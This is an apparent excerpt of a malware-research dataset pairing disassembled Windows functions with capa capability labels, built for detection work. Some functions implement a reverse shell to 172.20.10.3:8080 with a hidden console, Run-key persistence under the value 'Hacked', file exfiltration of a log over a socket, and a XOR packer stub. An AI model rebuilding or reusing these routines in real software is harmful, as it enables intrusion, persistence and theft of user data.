joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404390
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1544
call fcn.0040af30
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x458598]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x45859c]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], edx
call fcn.00404380
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x4585a0]
mov edx, dword [0x4585a4]
add edi, 0x23f
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea ecx, [ecx]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x45fd1c]
shl esi, 4
add esi, dword [ebp - 0x1c]
cmp eax, 0xfa9
jne 0x40441c
mov dword [0x45fd18], 0xedeb2e40
jmp 0x404437
cmp eax, 0x3eb
jne 0x404437
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x45f7a8], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x45fd1c], 0x9e6
mov dword [0x45fd14], 0xf4ea3dee
jne 0x404470
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x45fd1c], 0x213
jne 0x40450d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
lea eax, [ebp - 0x944]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x1544]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
lea eax, [ebp - 0xd44]
push eax
push 0
push 0x403f68
push 0x403fb8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub ebx, dword [ebp - 4]
cmp dword [0x45fd1c], 0xc
jne 0x404521
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov ecx, ebx
shr ecx, 5
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov edx, ebx
shl edx, 4
add edx, dword [ebp - 0x14]
lea eax, [edi + ebx]
xor edx, eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x4043f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404570
Capabilities:
Clear file content
Connect pipe
Get thread local storage value
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c08
call fcn.0040af30
mov eax, dword [0x45fd1c]
mov ecx, dword [0x45f7ac]
shr eax, 3
test eax, eax
jbe 0x40467b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x45fd1c], 0x959
jne 0x404661
push 0
lea eax, [ebp - 0x1408]
push eax
push 0
push 0x403fc8
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea edx, [ebp - 0x1c08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404390
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4045b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4078e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4574f8]
jne 0x4078ea
repz ret
jmp fcn.0040cb1e

Function at 0x40c743
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409c16
and dword [ebp - 4], 0
cmp dword [0x45d798], 0
mov ebx, eax
jne 0x40c7f4
push 0x401d44
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c8a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401d38
push edi
call esi
test eax, eax
je 0x40c8a5
push eax
call fcn.00409ba4
mov dword [esp], 0x401d28
push edi
mov dword [0x45d798], eax
call esi
push eax
call fcn.00409ba4
mov dword [esp], 0x401d14
push edi
mov dword [0x45d79c], eax
call esi
push eax
call fcn.00409ba4
mov dword [esp], 0x401cf8
push edi
mov dword [0x45d7a0], eax
call esi
push eax
call fcn.00409ba4
pop ecx
mov dword [0x45d7a8], eax
test eax, eax
je 0x40c7f4
push 0x401ce0
push edi
call esi
push eax
call fcn.00409ba4
pop ecx
mov dword [0x45d7a4], eax
mov eax, dword [0x45d7a4]
cmp eax, ebx
je 0x40c84c
cmp dword [0x45d7a8], ebx
je 0x40c84c
push eax
call fcn.00409c1f
push dword [0x45d7a8]
mov esi, eax
call fcn.00409c1f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c84c
test edi, edi
je 0x40c84c
call esi
test eax, eax
je 0x40c843
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c843
test byte [ebp - 0xc], 1
jne 0x40c84c
or dword [ebp + 0x10], 0x200000
jmp 0x40c885
mov eax, dword [0x45d79c]
cmp eax, ebx
je 0x40c885
push eax
call fcn.00409c1f
pop ecx
test eax, eax
je 0x40c885
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c885
mov eax, dword [0x45d7a0]
cmp eax, ebx
je 0x40c885
push eax
call fcn.00409c1f
pop ecx
test eax, eax
je 0x40c885
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45d798]
call fcn.00409c1f
pop ecx
test eax, eax
je 0x40c8a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c8a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401460
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x230
mov dword [ebp - 0x90], 0x6c696146
mov dword [ebp - 0x8c], 0xa6465
lea edx, [ebp - 0x88]
mov eax, 0
mov ecx, 0x1e
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x110]
mov edx, str.Created_Persistence_At_:_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun_n
mov ecx, 0x16
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, word [edx]
mov word [eax], cx
lea eax, [eax + 2]
lea edx, [edx + 2]
lea edx, [ebp - 0xb6]
mov eax, 0
mov word [edx], ax
add edx, 2
mov ecx, 9
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x214]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40153a
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x40165f
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
test eax, eax
je 0x401595
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x40165f
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x218]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x214]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Hacked
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x40161d
mov eax, dword [ebp - 0x218]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x40165f
mov eax, dword [ebp - 0x218]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, 0
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
Function at 0x401b27
Capabilities:
Contain obfuscated stackstrings
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov dword [esp + 4], 0x40611e
mov dword [esp], str.windows.txt
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401c05
mov dword [ebp - 0x444], 0x6f727245
mov dword [ebp - 0x440], 0x43203a72
mov dword [ebp - 0x43c], 0x646c756f
mov dword [ebp - 0x438], 0x746f6e20
mov dword [ebp - 0x434], 0x65706f20
mov dword [ebp - 0x430], 0x6f6c206e
mov dword [ebp - 0x42c], 0x69662067
mov dword [ebp - 0x428], 0xa2e656c
mov byte [ebp - 0x424], 0
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x21
lea eax, [ebp - 0x444]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
nop
jmp 0x401ca2
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x410]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x401bda
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [ebp - 0x423], 0x646e450a
mov dword [ebp - 0x41f], 0x20666f20
mov dword [ebp - 0x41b], 0x20676f6c
mov dword [ebp - 0x417], 0x656c6966
mov word [ebp - 0x413], 0xa2e
mov byte [ebp - 0x411], 0
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x13
lea eax, [ebp - 0x423]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
leave
ret
Function at 0x4021b2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
call sym._AllocConsole_0
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
call sym._FindWindowA_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [ebp - 0x10], str.172.20.10.3
mov word [ebp - 0x12], 0x1f90
lea eax, [ebp - 0x1b4]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x402226
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [0x408074], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x24], 2
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x12]
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x22], ax
jmp 0x4022a0
mov dword [esp], 0xa
call sym._Sleep_4
sub esp, 4
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._connect_12
sub esp, 0xc
test eax, eax
jne 0x402291
call dbg.Shell
nop
leave
ret 0x10
Function at 0x402960
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408048
call sym._EnterCriticalSection_4
mov ebx, dword [0x408040]
sub esp, 4
test ebx, ebx
je 0x4029ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4029a4
test esi, esi
je 0x4029a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402980
mov dword [esp], 0x408048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402b90
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402be0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402cb8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402c1e
cmp eax, 4
jne 0x402c40
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402c2e
cmp edx, 4
je 0x402c2e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402b90
Function at 0x404ae0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x404b16
jmp 0x404b4e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404b13
cmp al, 9
je 0x404b13
cmp al, 0x22
jne 0x404b37
jmp 0x404b96
cmp al, 9
je 0x404b43
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x404b30
jmp 0x404b43
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404b40
cmp al, 9
je 0x404b40
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x404b5d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.WinMain@16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x404ba2
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x404b92
cmp al, 0x22
jne 0x404b43
lea ebx, [edx + 2]
jmp 0x404b43
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x58bf689f
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..reloc
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x340b0899
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0xd2f370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xd2f38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xd58074
push ecx
mov edi, eax
call fcn.00d43198
mov esi, eax
add esp, 8
test esi, esi
jne 0xd2f3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00d4302e
push esi
call fcn.00d42fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xd32850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xd328ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xd5d720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd328ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00d431e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xd328ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xd5d720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd3292a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00d44082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xd32957
mov word [eax], si
add eax, 2
push eax
call fcn.00d44030
add esp, 4
jmp 0xd32959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xd328ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xd328b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xd32ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xd33080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xd330c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xd58458
push ecx
call fcn.00d431e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00d431e1
add esp, 0x10
jmp 0xd330d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00d4320b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00d42dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00d33050
mov eax, dword [0xd5d728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xd3313b
push esi
call fcn.00d32fb0
add esp, 4
mov dword [0xd5d728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xd3314c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00d32ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xd36440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xd364b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xd3648e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xd36471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xd3647e
add edx, ecx
cmp ebx, edx
jb 0xd3648a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xd36467
xor ecx, ecx
jmp 0xd364a2
test eax, eax
jne 0xd36492
xor ecx, ecx
jmp 0xd364a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00d363c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xd368f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xd36921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xd36946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xd3696e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xd36993
push ecx
push esi
call fcn.00d364c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret